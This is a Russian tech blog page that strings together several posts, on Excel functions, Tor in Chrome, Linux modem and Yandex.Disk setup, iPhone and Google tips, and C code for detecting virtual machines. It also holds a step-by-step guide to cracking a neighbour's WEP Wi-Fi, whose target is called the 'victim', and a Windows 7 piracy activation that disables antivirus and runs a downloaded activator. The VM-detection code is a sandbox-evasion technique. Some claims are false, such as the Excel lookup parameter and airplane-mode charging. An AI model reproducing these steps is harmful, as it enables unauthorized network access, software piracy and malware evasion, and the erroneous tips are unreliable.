Блог, рассматривает вопросы защите информации, эксплуатации Linux дистрибутивов. Установка и настройка программного обеспечения, ремонтно восстановительные работы, оптимизация системы. Оптимизация работы компьютера под управлением Windows. Тестирование тестирование софта и различных других железок попавших мне в руки.
Мы не несем ответственности за использование материалов блога в преступных целях.
Microsoft Excel, пожалуй, лучшая офисная
программа из когда-либо созданных. На ней держатся целые отрасли
экономики, так что, виртуозно овладев этим инструментом, Вы сразу
заметите, что дела у Вашего бизнеса идут в гору.
Кроме
множества базовых приёмов работы с этой программой, которые Вы
наверняка уже знаете, полезно изучить некоторые хитрости «для
продвинутых», которые сделают Вас на голову выше всех остальных. Так
что, если хотите впечатлить своих боссов и разгромить конкурентов, Вам
пригодятся эти 9 хитрых функций Excel.
1. Функция ВПР Эта
функция позволяет быстро найти нужное Вам значение в таблице. Например,
нам нужно узнать финальный балл Бетт, мы пишем: =ВПР(“Beth”,A2:E6,5,0),
где Beth – имя ученика, A2:E6 – диапазон таблицы, 5 – номер столбца, а 0
означает, что мы не ищем точного соответствия значению.
Функция
очень удобна, однако нужно знать некоторые особенности её использования.
Во-первых, ВПР ищет только слева направо, так что, если Вам понадобится
искать в другом порядке, придется менять параметры сортировки целого
листа. Также если Вы выберете слишком большую таблицу, поиск может
занять много времени.
2. Функция ИНДЕКС Отражает значение или
ссылку на ячейку на пересечении конкретных строки и столбца в выбранном
диапазоне ячеек. Например, чтобы посмотреть, кто стал четвёртым в списке
самых высокооплачиваемых топ-менеджеров Уолл-стрит, набираем:
=ИНДЕКС(А3:А11, 4).
3. Функция ПОИСКПОЗ Функция ПОИСКПОЗ
выполняет поиск указанного элемента в диапазоне (Диапазон - две или
более ячеек листа. Ячейки диапазона могут быть как смежными, так и
несмежными) ячеек и отражает относительную позицию этого элемента в
диапазоне.
По отдельности ИНДЕКС и ПОИСКПОЗ не особо полезны. Но вместе они могут заменить функцию ВПР.
Например, чтобы в большой таблице найти, кто является главой Wells Fargo, пишем =ИНДЕКС(А3:А11,ПОИСКПОЗ(«Wells Fargo»,B3:B11,0). С
помощью функции ВПР этого не сделать, потому что она ищет только слева
направо. А сочетание двух последних позволяет сделать это с легкостью.
4. 3D-сумма Допустим,
Вы решили подсчитать, сколько денег Вы тратите каждый день, и вести
учёт в течение семи недель. Под каждую неделю Вы создали отдельный лист,
куда по дням заносите расходы на алкоголь, еду и прочие мелочи.
Теперь
на вкладке TOTAL (ИТОГО) нам нужно увидеть, сколько и в какой день Вы
потратили за этот период. Набираем =СУММ(‘Week1:Week7’!B2), и формула
суммирует все значения в ячейке B2 на всех вкладках. Теперь, заполнив
все ячейки, мы выяснили, в какой день недели тратили больше всего, а
также в итоге подбили все свои расходы за эти 7 недель.
5. $ Одна
из самых удобных функций в арсенале Excel, а также одна из самых
простых – это знак $. Он указывает программе, что не нужно делать
автоматической корректировки формулы при её копировании в новую ячейку,
как Excel поступает обычно.
При этом знак $ перед «А» не даёт
программе изменять формулу по горизонтали, а перед «1» – по вертикали.
Если же написать «$A$1», то значение скопированной ячейки будет
одинаковым в любом направлении. Очень удобный приём, когда приходится
работать с большими базами данных.
6. & Если Вы хотите
собрать все значения из разных ячеек в одну, Вы можете использовать
функцию СЦЕПИТЬ. Но зачем набирать столько букв, если можно заменить их
знаком «&».
7. Массивы Для создания массива или матрицы
Вам потребуется несколько операций, но они сложнее, чем в случае с
обычными формулами, ведь для отображения результата требуется не одна, а
несколько ячеек.
Например, давайте перемножим две матрицы. Для
этого используем функцию МУМНОЖ (Массив 1, Массив 2). Главное, не
забудьте закрыть формулу круглой скобкой. Теперь нажмите сочетание
клавиш Ctrl Shift Enter, и Excel покажет результат умножения в виде
матрицы. То же самое касается и других функций, работающих с массивами, –
вместо простого нажатия Enter для получения результата используйте Ctrl
Shift Enter.
8. Подбор параметра Без этой функции Excel целым
легионам аналитиков, консультантов и прогнозистов пришлось бы туго.
Спросите кого угодно из сферы консалтинга или продаж, и Вам расскажут,
насколько полезной бывает эта возможность Excel.
Например, Вы
занимаетесь продажами новой видеоигры, и Вам нужно узнать, сколько
экземпляров Ваши менеджеры должны продать в третьем месяце, чтобы
заработать 100 миллионов долларов. Для этого в меню «Инструменты»
выберите функцию «Подбор параметра». Нам нужно, чтобы в ячейке Total
revenue (Общая выручка) оказалось значение 100 миллионов долларов. В
поле set cell (Установить в ячейке) указываем ячейку, в которой будет
итоговая сумма, в поле to value (Значение) – желаемую сумму, а в by
Changing cell (Изменяя значение ячейки) выберите ячейку, где будет
отображаться количество проданных в третьем месяце товаров. И – вуаля! –
программа справилась. Параметрами и значениями в ячейках можно легко
манипулировать, чтобы получить нужный Вам результат.
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Возникла необходимость подключить хром через тор... Погуглив наткнулся на статью... Убрал все лишнее и вуаля....
Для Firefox существует плагин, который позволяет одной кнопкой включать и выключать использование Tor. Называется он Torbutton. ДляChrome такого плагина пока нет. Но для тех, кто всё же хочет пользоваться этой технологией именно в Chrome, есть давольно простой и удобный выход.
Установить собственно Tor. По этой ссылке нам нужен Stable Vidalia Bundle
В настройках плагина создать новый профиль. Выбрать Manual Configuration, в поле HTTP Proxy ввести адрес 127.0.0.1 и порт 8118, тот же адрес и порт ввести в полях HTTPS и FTP proxy, а для SOCKShost вести порт 9050
Там же, во вкладке General выберите Quick Switch (это для того, чтобы включать и выключать использование Tor одним тыком). Первым профилем оставьте Direct connection, а вторым поставьте наше «Перекати-поле»
Теперь вы можете одним нажатием на глобус включить или выключить использование Tor в Хроме
Не забудьте, чтобы не оставлять следов у себя на компьютере, вам нужно пользоваться режимом Инкогнито. Для этого нужно разрешить Proxy Switchy работать в режиме инкогнито. Перейдя на эту страницу, поставьте соответствующую галочку.
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Кто не знает интернет провайдера Yota? Думаю, все сталкивались с Yota,
хотя и не все пользовались. Пользователям Linux в этом плане не очень
повезло - официально поддерживается только работа в Операционной Системе
Windows. А ведь некоторые ноутбуки идут в комплектации со встроенным
4g-модемом. Неужели придется из-за этого использовать Windows или
запускать ее в VirtualBox? Вовсе не обязательно. Пользователи Linux
также могут воспользоваться предложениями от Yota, и возможно это
благодаря открытому драйверу madwimax.
И хотя тарифы Yota в
сопоставлении с предлагаемыми скоростями радуют далеко не всех, многие
предпочитают Yota 4g и 3g интернету от Мегафона, МТС и Билайн. Что ж,
если вы счастливый обладатель модема от Yota и безумно счастливый
пользователь Linux, давайте приступим к установке драйвера madwimax.
Для начала убедитесь в наличии в системе установленной библиотеки
libusb-1.0, dhcpcd и планировщика atd. Причем последний должен быть
запущен в качестве сервиса. Далее выполняем действия от имени root, в его домашней директории.
Получаем исходники:
Отлично, теперь нужно заставить интернет работать при подключении
устройства без дополнительных манипуляций. Для этого создадим пару
файлов. /root/wimax/wimax.sh:
#!/bin/sh /root/wimax/wimax -qd
sleep 10
ip l set dev tap0 mtu 1386
dhcpcd -q --noipv4ll tap0 &> /dev/null
Теперь при подключении модема автоматически в течение минуты будет
подключаться интернет. К сожалению, восстановления связи не
предусмотрено, поэтому при дисконнекте просто переткните модем.
Данные инструкции работают на данный момент, но драйвер активно
развивается, поэтому не факт, что описанные манипуляции понадобятся в
будущем.
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Сегодня я раскажу как детектировать виртуалку... Очень часто при удаленном подключении может понадобиться знать на реальном или виртуальном хосте мы находимся...
Анализируем оборудование
Начнем, пожалуй, с жесткого диска. Если посмотреть идентификатор
жесткого диска в диспетчере устройств на виртуальной машине, то в его
составе можно увидеть интересные строчки:
DiskVirtual для VirtualPC
DiskVBOX_HARDDISK для Virtual Box
Prod_VMware_Virtual для VMware Workstation
Самый простой способ узнать наименование жесткого диска — прочитать
значение ключа с именем «0» в ветке реестра
HKLM\HARDWARE\SYSTEM\CurrentControlSet\Services\Disk\Enum.
В этом месте перечисляются все дисковые накопители в системе, и
первым, как раз в ключе с именем «0», будет тот диск, с которого
произошла загрузка системы.
Идентификатор жесткого диска VirtualBox в реестре
Как читать реестр, я думаю, ты знаешь. Используем сначала API
RegOpenKeyEx для открытия нужного ключа, далее с помощью RegQueryValueEx
читаем значение. Выглядеть это должно примерно вот так:
...
// Открывем нужный ключ реестра
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"HARDWARE\\SYSTEM\\
CurrentControlSet\\
Services\\Disk\\Enum",
0,
KEY_QUERY_VALUE,
&rKey);
// Читаем значение
RegQueryValueExA(rKey,
"0",
NULL,
&Type,
(LPBYTE)RegKey,
&RegPath);
// Закрываем все, что открыли ранее
RegCloseKey(rKey);
...
Далее все просто — используем strstr для поиска нужных нам строк в
считанном значении и, в зависимости от результата сравнения, делаем
вывод.
Версия BIOS содержится в ключе «SystemProductName» в ветке
HKLM\HARDWARE\DESCRIPTION\System\BIOS. К примеру, для VMware там будет
лежать строка «VMware Virtual Platform», а для VirtualBox — «VBOX –1».
Прочитать это все можно с помощью все тех же API — RegOpenKeyEx и RegQueryValueEx.
Версия BIOS Parallels Workstation в реестре
Данные о видеоадаптере можно подглядеть в
HKLM\System\CarrentControlSet\Enum\PCI. В этой ветке перечислено все,
что подключено к шине PCI, в том числе и видеокарта. Для VirtualPC это
строчка вида VEN_5333&DEV_8811&SUBSYS_00000000&REV_00,
которая определяет видеоадаптер S3 Trio 32/64, эмулируемый виртуалкой от
Microsoft — на реальном железе такое оборудование нынче днем с огнем не
сыскать (а у меня такая была в конце прошлого века. — Прим. ред.). Для
VirtualBox видеокарта описана последовательностью
VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00, что
расшифровывается как «VirtualBox Display», а у Parallels Workstation —
строка VEN_1AB8&DEV_4005&SUBSYS_04001AB8&REV_00 определяет
видеоадаптер «Parallels Display».
Помимо этого, в VirtualBox можно найти строку
VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00, определяющую некий
«VirtualBox Device», а у Parallels Workstation строки
VEN_1AB8&DEV_4000&SUBSYS_04001AB8&REV_00 и
VEN_1AB8&DEV_4006&SUBSYS_04061AB8&REV_00, определяющие
«Parallels Tools Device» и «Parallels Memory Controller» соответственно.
Алгоритм действий следующий: пытаемся открыть нужный нам ключ, и если
он открывается успешно, то оборудование, описанное этим ключом, в
наличии и можно делать вывод о присутствии какой-либо виртуальной
машины:
...
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\
Enum\\PCI\\VEN_5333&DEV_8811&
SUBSYS_00000000&REV_00",
0,
KEY_QUERY_VALUE,
&rKey) == ERROR_SUCCESS)
{
RegCloseKey(rKey);
// Мы под VirtualPCreturntrue;
}
...
Идентификатор процессора определяется с помощью команды cpuid.
Благодаря ей можно получить много всякой полезной информации об
установленном процессоре. Вид выдаваемой этой командой информации
зависит от содержимого регистра EAX. Результат работы команды
записывается в регистры EBX, ECX и EDX. Подробно про эту команду можно
почитать в любой книге по программированию на ассемблере. Для наших
целей мы будем использовать эту инструкцию, предварительно положив в
регистр EAX значение 0x40000000:
После выполнения этого кода на VMware Workstation в переменных ID_1,
ID_2 и ID_3 будут записаны значения 0x61774d56, 0x4d566572 и 0x65726177
соответственно (в символьном представлении это не что иное, как
«VMwareVMware»), на VirtualBox в ID_1 и в ID_2 будет лежать значение
0x00000340, а на Parallels Workstation в ID_1 0x70726c20, в ID_2 —
0x68797065 и в ID_3 — 0x72762020 (что соответствует строке «prl
hyperv»).
Использование MAC-адреса для идентификации производителя сетевой
карты, конечно, не самый надежный способ (ибо MAC-адрес довольно-таки
просто поменять), но тем не менее его вполне можно применить для детекта
виртуальных машин в качестве дополнительной проверки.
Ты наверняка знаешь, что первые три байта MAC-адреса сетевой карты
определяют ее производителя. Производители виртуальных машин в этом
плане не исключение:
Вытащить эти первые три байта из MAC-адреса нам поможет API-функция GetAdaptersInfo:
// Подключаем либу, в которой// содержится нужная нам функция#include #pragma comment(lib, "IPHLPAPI.lib")
...
// Определяем размер буфера под данные,// возвращаемые функцией
GetAdaptersInfo(AdapterInfo, &OutBufLen);
// Выделяем память под данные об адаптере
AdapterInfo = (PIP_ADAPTER_INFO) new(char[OutBufLen]);
// Получаем информацию об адаптере
GetAdaptersInfo(AdapterInfo, &OutBufLen);
// Сравниваем первые три байта MAC-адреса// с 00:1c:42 (Parallels Workstation)if (((BYTE)AdapterInfo->Address[0] == 0x00) &&
((BYTE)AdapterInfo->Address[1] == 0x1c) &&
((BYTE)AdapterInfo->Address[2] == 0x42))
{
delete(AdapterInfo);
// Мы под Parallels Workstationreturntrue;
}
else
{
delete(AdapterInfo);
returnfalse;
}
...
Вспомогательные процессы, окна и другие «подозрительные» объекты
Для нормальной работы практически все виртуальные машины требуют
установки дополнений к гостевой операционной системе, например
VBoxGuestAddition для VirtualBox или Parallels Tools для Parallels
Workstation. Без этих дополнений работа с виртуальной машиной несколько
затруднительна (ни тебе нормального разрешения экрана и полноэкранного
режима, ни взаимодействия с USB-девайсами, ни нормальной настройки
сетевых подключений). В общем, все производители виртуалок не
рекомендуют использовать их без этих дополнений. А эти самые дополнения
оставляют очень заметный след в виде запущенных процессов:
Для поиска процесса по имени мы воспользуемся функциями CreateToolhelp32Snapshot, Process32First и Process32Next:
#include
...
...
// К примеру, ищем процесс vmtoolsd.exewchar_t VMwareProcessName[] = {L"vmtoolsd.exe"};
PROCESSENTRY32 pe;
HANDLE hSnapShot;
hSnapShot = CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
ZeroMemory (&pe, sizeof(PROCESSENTRY32W));
pe.dwSize = sizeof(PROCESSENTRY32W);
Process32First(hSnapShot, &pe);
do
{
if (memcmp(pe.szExeFile, VMwareProcessName, 24) == 0)
// Мы под VMwarereturntrue;
}
while (Process32Next(hSnapShot, &pe));
...
Помимо непосредственно самих процессов, демаскирующим признаком могут
стать окна, открытые этими процессами. Окон в каждой из рассматриваемых
виртуальных машин может быть довольно много, и все их мы перечислять не
будем, а ограничимся одним или двумя. Итак:
Открытые окна для VMware (красным выделено окно класса VMSwitchUserControlClass)
Найти окно по имени класса очень просто — для этого есть функция FindWindow:
...
// К примеру, ищем окно для VMware
HWND VMwareWindow = FindWindowA("VMSwitchUserControlClass", NULL);
if(VMwareWindow != NULL)
// Мы под VMware Workstationreturntrue;
...
Помимо процессов и окон, указывающих на наличие ВМ, можно найти и
другие «подозрительные» объекты — например, если покопаться в гостевой
ОС виртуальной машины утилитой WinObj или какой-нибудь аналогичной, то
можно найти вот такие объекты:
«Подозрительные» объекты в VirtualBox
Проверить наличие «подозрительного» объекта очень просто, достаточно попытаться открыть его с помощью CreateFile:
...
// К примеру, проверяем VirtualBoxif ((CreateFile(L"\\\\.\\VBoxMiniRdrDN",
0,0,0,OPEN_EXISTING,0,0)
!=INVALID_HANDLE_VALUE)||
(CreateFile(L"\\\\.\\VBoxGuest",
0,0,0,OPEN_EXISTING,0,0)
!=INVALID_HANDLE_VALUE))
// Мы под VirtualBoxreturntrue;
...
Что еще «подозрительного» можно найти в реестре?
Помимо признаков наличия специфического оборудования, в реестре можно
увидеть и другие следы, оставляемые виртуальными машинами. Некоторые из
них базируются в ветке HKLM\HARDWARE\ACPI\DSDT. Достаточно в этом месте
проверить наличие таких вот ключей:
Проверку реализуем так же, как мы проверяли наличие определенного
оборудования. Просто делаем попытку открыть нужный нам ключ и, в случае
успеха, делаем вывод о наличии ВМ.
Ключ PRLS__ в реестре Parallels Workstation
Возможности, заложенные производителем
Некоторые производители (в частности, VMware и Microsoft) специально
реализуют возможности управления своими продуктами, которые можно
использовать для наших целей.
В Virtual PC используются инвалидные (не «инвалидные», а
«альтернативно одаренные». И вообще-то они «недействительные». — Прим.
ред.) команды процессора с опкодами 0x0F, 0x3F, 0x07 и 0x0B, попытка
выполнения которых на реальном процессоре вызовет исключение, в то время
как на Virtual PC все пройдет нормально. С помощью этих команд можно
достаточно просто задетектить виртуалку от Microsoft:
В VMware Workstation для взаимодействия гостевой и основной ОС
реализован небольшой бэкдор в виде порта с номером 0x5658. Для его
использования необходимо в EAX положить «магическое» число 0x564d5868 (в
символьном представлении — «VMXh»), а в ECX записать одну из команд
взаимодействия гостевой и основной ОС (например, команда 0x0A возвращает
версию установленной VMware Workstation). Короче, выглядит все это
приблизительно так:
Т.К. Статья украдена из хакера ... добовляю полезные коментарии... 1. Самый надёжный способ детекта виртуальной машины - прочесть DMI информацию о материнской плате.
2. В vmware MAC адрес легко меняется через правку file.wmx
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Не смотря на то, что я не являюсь Яблочным фанатом, тем нимение не могу пройти мимо данных интересностей.
Друзья не забываем Кликнуть по рекламе в знак благодарности за мою работу для вас!!!
1. По умолчанию на iPhone устанавливается цифровой 4-значный пароль. Но Вы можете установить и буквенный пароль. Для этого перейдите в меню Настройки -> Основные -> Защита паролем. Переключатель "Простой пароль" поставьте в неактивное положение, и вы сможете установить совершенно любой пароль, состоящий как и из букв, так и из цифр. С этого момента, каждый раз когда вы попытаетесь разблокировать свой iPhone (или реже в зависимости от настроек), от вас потребуется ввести указанный пароль.
2. У Вас есть персональная помощница SIRI: SIRI (Speech Interpretation and Recognition Interface) - вопросно-ответная система iOS. Она может прочитать для Вас электронное письмо, рекомендовать рестораны, писать в Твиттер и Фейсбук... Одно пока огорчает - SIRI пока "не говорит" по-русски.
3. Вы можете просматривать временные метки своего текста в iMessages, просто оттянув сообщение справа налево.
4. Хотите знать сколько сейчас самолётов в небе прямо над Вами? Спросите SIRI “What flights are above me?” или просто установите приложение Plane Finder.
5. Вы можете стереть введённый текст, если потрясёте iPhone (появится выбор:"Не применять набор" или «Отменить»). 6. Пользуетесь календарём? Поверните iPhone горизонтально, и календарь раскроет детали по дням.
7. Caps Lock включается двойным нажатием на Shift-стрелочку клавиатуры
8. Вы хотите повесить новую картину на стенку? и, как назло, в нужный момент снова нет уровня? Откройте приложение Компас, пролистайте влево, и Ваш iPhone ловким движением руки превратится в уровень!
9. Если Вашим iPhone пользуются дети, ограничьте доступ к установке приложений. Настройки -> Основные -> Ограничения. Отключите переключатель "Установка ПО". 10. Хотите, чтобы Ваши фото наверняка получались? Удерживайте кнопку камеры и сделайте серийную фотосъемку. Из тонны полученных фотографий Вы гарантированно найдете фото по своему вкусу.
11. Коллекция тире: Когда набираете текст, нажмите на тире и удерживайте его, и Вы получите на выбор целую коллекцию тире.
12. Не всегда удобно фотографировать нажатием кнопки камеры. Используйте боковую кнопку увеличения громкости - она тоже делает снимки! Так Вы сможете держать телефон при съемке ровнее.
13. Хотите снять #селфи? - Подключите наушники! На наушниках есть кнопка, с помощью которой тоже можно снимать.
14. Отрегулируйте вибрацию более тонко! В настройках списка контактов Вы можете установить не только разные рингтоны для разных контактов, но и разные виды вибрации.
15. Вам нужно СРОЧНО зарядить iPhone? Поставьте его в режим самолёта, и он зарядится в 2 раза быстрее!
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
16 способов «гуглить» как профессионал! "1. Исключение из Google поиска Чтобы исключить из поисковой выдачи какое-либо слово, фразу, символ, достаточно перед ним поставить знак "-” (минус), и оно не появится в результатах поиска. Для примера, я ввёл в строку поиска следующую фразу: "бесплатный хостинг -ru -com” и в поисковой выдаче нет ни одного сайта с доменами RU и COM, кроме оплаченных рекламных объявлений. 2. Поиск по синонимам Используйте символ "~” для поиска схожих слов к выбранному. Например в результате выражения: "~лучшие фильмы -лучшие" вы увидите все ссылки на страницы, содержащие синонимы слова "лучшие”, но ни одно из них не будет содержать этого слова. 3. Неопределённый поиск На тот случай, если вы не определились с конкретным ключевым словом для поиска, поможет оператор "*”. Например фраза "лучшая программа * фотографий” подберет страницы, которые рассказывают о лучших программ для оформления, просмотра, редактирования фотографий 4. Поиск на выбор из вариантов Используя оператор "|”, можно осуществить Google поиск по нескольким сочетаниям фраз, заменяя несколько слов в различных местах. Например, введём фразу "купить чехол | ручку” выдаст нам страницы, содержащие либо "купить чехол”, либо "купить ручку” 5. Значение слова Чтобы узнать значение того или иного слова, достаточно ввести в поисковую строку "define:” и после двоеточия искомую фразу. 6. Точное совпадение Для нахождения точного совпадения поисковой выдачи с запросом достаточно заключить ключевики в кавычки. 7. Поиск по определённому сайту Чтобы осуществить поиск ключевых слов только по одному сайту, достаточно прибавить к искомой фразе следующий синтаксис – "site:”. 8. Обратные ссылки Чтобы узнать расположение ссылок на интересующий сайт, достаточно ввести следующий синтаксис: "links:” и далее адрес интересующего сайта. 9. Конвертер величин Поисковая система Google также умеет конвертировать величины по запросу пользователя. Например, нам нужно узнать, сколько составляет 1 кг в фунтах. Набираем следующий запрос: "1 кг в фунтах” 10. Конвертер валют Для того, чтобы узнать курс валют по официальному курсу, набираем следующий поисковой запрос: "1 [валюта] в [валюта]”. Можно, также быстро узнать сколько будет, например "100 долларов в рублях" 11. Время по городу Если хотите узнать время по какому либо городу, то используйте синтаксис: "время" и название города. 12. Google калькулятор Google умеет считать онлайн! Достаточно вбить пример в строку поиска и он выдаст результат. 13. Поиск по типам файлов Если вам необходимо найти что-то по конкретному типу файла, то у Google есть оператор "filetype:” который осуществляет поиск по заданному расширению файла. 14. Поиск кэшированной страницы У Google есть собственные сервера, где он хранит кэшированные страницы. Если нужна именно такая, то воспользуйтесь оператором: "cached:” 15. Прогноз погоды по городу Ещё одним оператором поиска у Google является оператор погоды. Достаточно вбить "погода” и город, как вы увидите, будет у вас дождь или нет Изображение 16. Переводчик Можно переводить слова сразу, не отходя от поисковика. За перевод отвечает следующий синтаксис: "translate [слово] into [язык]”"
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Доброго
времени суток. В данном посте мы рассмотрим, что такое Яндекс.Диск. И
как его подключить к Linux, а точнее к Ubuntu. В отличие от Windows, где
есть клиент Яндекс.Диск в Ubuntu нет никакого клиента, но это не
помешает нам подключиться к Яндекс.Диск, т.к. он поддерживает webdav. И
мы в данной статье рассмотрим два способа подключения Яндекс.Диск.
Что такое Яндекс.Диск? Все Вы, наверное, знаете, что такое DropBox,
Google Disk. Это некое хранилище в облаке, куда Вы можете сбрасывать
ваши файлы, делать бекап. Так, вот Яндекс.Диск — это ответ DropBox.
Яндекс.Диск предоставляет пользователю бесплатно 10 Гб места в своем
хранилище. Так, почему же не воспользоваться щедростью Яндекса и не
хранить там свои файлы? 10 Гб лишними не бывают, тем более в сети. Эти
файлы будут у Вас всегда под рукой.
Как я уже говорил для линукса нет клиента, но это не мешает подключить
Яндекс.Диск по технологии WebDav. Давайте рассмотрим два способа
подключения Яндекс.Диск к Ubuntu.
При таком способе подключения
Яндекс.Диск является частью Вашей файловой системы. И так, приступим…
Нам понадобиться пакет davfs2. Установим его. Вызываем терминал Ctrl+Alt+T. И прописываем следующую команду:
1
. sudo apt-get install davfs2
После установки пакета davfs2 настроим его:
2
. sudo gedit /etc/davfs2/secrets
И добавим в него следующую строку:
/mnt/yandex.disk [логин на яндекс] [пароль]
где:
/mnt/yandex.disk - директория куда мы будем монтировать Яндекс.Диск
[логин на яндекс] — логин на яндекс (без скобок)
[пароль] — пароль на яндекс (без скобок)
Если Вы еще не создали директорию, куда будете монтировать Яндекс.Диск, то создайте ее. В моем случае — это /mnt/yandex.disk
Теперь откроем файл /etc/fstab и добавим в него следущую строку:
гдн [логин] — имя пользователя в Ubuntu. И еще хотел бы обратить Ваше
внимание на парметр _netdev — данный параметр указывает, что
монтирование данного раздела будет происходить только в том случае,
когда поднимется какой-либо сетевой интерфейс (как Вы сами понимаете
Яндекс.Диск находиться в сети и если у нас нет выхода в интернет, то и
подключать Яндекс.Диск нет смысла). Если же Вы хотите монтировать
Яндекс.Диск в ручную, то вместо _netdev пропишите noauto.
Затем заносим нашего пользователя ubuntu в группу davfs2
$ sudo usermod -a -G davfs2 [поллзователеь]
И разрешаем нашему пользователю запускать mount.davfs
$ chmod 4755 /usr/sbin/mount.davfs
И тогда в любой момент Вы можете подключить данный раздел при помощи команды:
mount /mnt/yandex.disk
Для отключения Яндекс.Диск воспользуйтесь командой:
umount /mnt/yandex.disk
Ну вот и все. Подключайте Яндекс.Диск и радуйтесь работой.
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Как подключится к чужому Wi-Fi?
Вы решили проверить безопасность своей беспроводной
сети или сети соседа:-) Тогда эта статья о взломе беспроводный сетей для
вас.
Внимание! Перед взломом wifi сети, пожалуйста,
узнайте законно ли это, автор экспериментировал только с собственной
сетью. Взлом чужой сети может повлечь уголовную ответственность…
Эта статья — инструкция по взлому WEP шифрования wi-fi сети. Мы будем
использовать: ОС Windows, CommView for Wi-Fi и aircrack-ng 0.9.3 win.
Так как мы будем использовать CommView for Wi-Fi, вам необходимо скачать эту программу, например с сайта компании. Aircrack-ng 0.9.3 win можно скачать здесь. Перед установкой CommView for Wi-Fi проверьте входит ли ваш беспроводной адаптер в списке поддерживаемых.
Устанавливаем CommView for Wi-Fi по умолчанию (обязательно установите драйвер для вашей карты, если это требуется!), разархивируем Aircrack-ng 0.9.3 win в любую удобную папку, но я рекомендую на диск C:/. Теперь можно начинать наш маленький взлом.
В пакет aircrack-ng входит хороший снифер airodump-ng, но при использование этого снифера под виндой могут возникнуть некоторые трудности. ОС Windows
имеет одну неприятную особенность: она не позволяет стандартными
средствами (официальные драйвера) перевести Wi-Fi карточку в режим
снифера (режим при котором карточка собирает все доступные пакеты),
можно воспользоваться драйверами сторонних производителей (что обычно и
делают) или модификациями официальных, но это чревато глюками и
неприятными последствиями в виде отказа карты подключаться к точке
доступа. Это легко исправляется установкой стандартного драйвера.
Хочу предложить вам другой, по мнению Choix с сайта wardriving.ru, более удобный вариант — это использование связки снифера CommView for Wi-Fi и Aircrack-ng
для взлома Wi-Fi с шифрованием WEP. Основной плюс такой связки — это
отсутствие необходимости при переводе карты в режим снифера и обратно
каждый раз устанавливать драйвер. CommView for Wi-Fi так же
поддерживает некоторые карты, например встроенный адаптер Intel
PRO/Wireless 2200BG, которые не поддерживаются под windows airodump-ом.
Запускаем CommView for Wi-Fi, при первом запуске он предложит
пропатчить драйвера и перезагрузиться. Смело везде соглашаемся. Далее
если мы собираемся использовать программу только для сбора шифрованных DATAпакетов выбираем меню ПРАВИЛА и ставим там галочки на захват DATA пакетов и игнор BEACON
пакетов остальные галочки снимаем. Жмем сохранить текущее правило
(сохраняем прозапас). Заходим в настройки и ставим там, как на рисунке:
Вкладка использование памяти:
Почти все:-) Скоро начнем ломать)) Настройка делается один раз так что
не пугайтесь, что так много всего надо нажимать.Еще осталось зайти в
главном окне программы во вкладку Log-файлы поставить галочку на
автосохранение и указать Максимальный размер каталога метров на 200 и
средний размер файла около 5 метров.
Далее жмем кнопку *Захват* и в появившемся окне жмем *начать сканирование*.
Справа появляется список точек которые находятся в зоне доступа с
уровнем сигнала и другой дополнительной информацией. Выбираем точку
нашей жертвы и жмем захват. Теперь берем в руки пиво и сухарики и ждем
пока наловится нужное количество пакетов (от 100000 до 2000000 в
зависимости от длинны ключа), придется немного подождать.
Ура!!! Пакеты собрались. Теперь жмем Ctrl+L в появившемся окне: файл, загрузить лог файлы commview
и выбираем все файлы что видим. Потом меню правила и загружаем то, что
сохраняли (только дата пакеты). Теперь экспортируем пакеты в формате TCPdump.
Используем AirCrack задаем ему параметры и указываем путь на наш файл с пакетами из CommView, который в формате TCPdump. Для запуска графического интерфейса aircrack-ng вам нужно, чтобы был установлен пакет Microsoft.NET FrameWork 2.0 (1 и 3 не подойдут).
Выбираем Encryption: WEP, Key size: по очереди от меньшего к большему. Если захватили достаточно ARP пакетов, то можно поставить галочку USE PTW attack. Нажимаем Launch.
Если ключ найден, то вы увидите примерно вот это:
Если же ключ не найден, пробуйте менять параметры до успешного финала. Успехов вам!
Друзья огромня просба, если статья вам помогла кликните на рекламный банер... Зарание спасибо
Если на компьютере установлена операционная система Windows 7 Вас
наверняка замучили сообщения типа: "Ваша копия Windows 7 не является
подлинной", "Ваша копия Windows не прошла проверку подлинности",
"Возможно вы стали жертвой подделки программного обеспечения".
Возможно также Вы можете наблюдать в правом нижнем углу надпись Windows 7 Сборка 7600 Ваша копия Windows Не является подлинной.
Что в этом случае можно сделать?
1. Следует отключить ответственный за это компонент системы - проверку
подлинности Windows. Для этого нужно удалить установленное обновление KB971033.
Заходим ПУСК - Панель управления. В правом верхнем углу выбираем
"Просмотр: мелкие значки". Далее выбираем "Центр обновления WINDOWS".
В колонке слева нажимаем "Просмотр журнала обновлений". Там выбираем
ссылку "Установленные обновления". В списке всех обновлений находим
обновление под номером KB971033. Щелкаем по обновлению правой кнопкой мыши и выбираем "Удалить".
Теперь данное обновление удалено.
2. Далее следует удалить специальные файлы службы из папки System32, но
сначала остановим службу "Защита программного обеспечения Windows".
ПУСК - Панель управления - Администрирование - Службы. Там находим
службу "Защита программного обеспечения Windows", нажимаем на ней правой
кнопкой мыши и выбираем "Остановить".
3. После того, как служба остановлена открываем ПУСК - Компьютер -
С:\Windows\System32 и находим там два скрытых файла с расширением .C7483456-A289-439d-8115-601632D005A0.
Найти их можно без труда, так как файлы имеют длинные имена. Но файлы
скрытые. Поэтому, чтобы их увидеть, надо включить показ скрытых файлов.
На фото снизу показано, как это сделать.
4. Главное сделано. Теперь надо запустить службу защиты, которую мы отключили в пункте 2.
5. И последнее, что нужно сделать: убрать надпись на рабочем столе и
предупреждающие сообщения. Для этого понадобится активатор, который
можно скачать здесь. Просто скачайте архив, разархивируйте его и запустите файл CW.exe.
Так как файл CW.exe активирует не лицензионную копию, то
антивирус может видеть в нем угрозу и не даст запустить файл. Отключите
антивирус, произведите активацию, перегрузите компьютер. Теперь ваша
система чистая без всяких надписей и предупреждений!
